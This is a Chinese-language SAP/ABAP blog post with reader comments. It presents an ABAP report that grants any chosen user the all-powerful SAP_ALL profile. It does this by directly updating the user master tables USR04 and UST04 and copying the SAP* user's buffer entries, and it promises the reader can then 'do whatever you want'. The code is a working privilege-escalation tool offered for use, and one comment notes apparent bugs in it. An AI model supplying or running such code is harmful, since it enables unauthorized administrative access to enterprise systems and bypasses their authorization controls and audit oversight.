Maurice's blog - 因为专注,所以专业...
自我介绍
切换风格
订阅我的Blog
博客日历
文章归档...
最新发表...
最新评论...
最多阅读文章...
博客统计...
网站链接...
资源
===========================================================
如何增加SAP_ALL的权限
===========================================================

想拥有SAP的最大权限吗?执行下面的代码吧,想干嘛干嘛...

REPORT ZTESTCREATEUSER.

data: l_USR04 LIKE USR04 ,
l_UST04 LIKE UST04 ,
l_PROFS LIKE USR04-PROFS ,
l_USRBF2 like USRBF2 occurs 0 with header line,
l_userid like usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR USR01-BNAME .

START-OF-SELECTION.

select single * into l_USR04 from USR04
where BNAME in p_user.
move 'C SAP_ALL' to l_PROFS .
l_USR04-NRPRO = '14'.
l_USR04-PROFS = l_PROFS.
Update USR04 from l_USR04 .
l_userid = l_USR04-BNAME.
select single * into l_UST04 from UST04
where BNAME in p_user.
l_UST04-PROFILE = 'SAP_ALL'.
Update UST04 from l_UST04 .

select * from USRBF2 into table l_USRBF2
where BNAME = 'SAP*' .
Loop at l_USRBF2.
l_USRBF2-BNAME = l_userid.
Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.


qiujun 发表于:2008.07.22 15:58 ::分类: ( ABAP ) ::阅读:(241次) :: 评论 (3) :: 引用 (0)
re: 如何增加SAP_ALL的权限 [回复]

语句好像有错误,select * from USRBF2 into table l_USRBF2
where BNAME = 'SAP*' . 这句中的where条件是不是应该为where BNAME like 'SAP%',还有一点,Loop at l_USRBF2.
l_USRBF2-BNAME = l_userid.
Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop. 这句中,l_userid 是从选择屏幕得到,好像一般的用户名都不习惯用SAP开头吧,但是l_USRBF2-BNAME是以SAP开头的,所以还是上面那个where条件,是不是应该改成和选择画面上的用户名匹配才对呢?

Adrian 评论于:2008.07.24 17:37
很想跟你学习 [回复]

最近刚刚开始在一家企业里做sap的工作,因为遇到一个疑难问题到网上查资料,看到你的blog,使我茅塞顿开,非常感谢。
另外最近还有个难题一直没能解决,是关于物料凭证打印的,希望能跟你请教一下。

一颗苹果 评论于:2008.09.03 13:53
补充一下 [回复]

该做的配置都做了,但是在打印的时候出现“没有初始化处理的信息”错误信息。

盼望得到你的帮助,请加我的MSN。

一颗苹果 评论于:2008.09.03 13:58

发表评论
标题

在此添加评论

称呼

邮箱地址(可选)

个人主页(可选)

authimage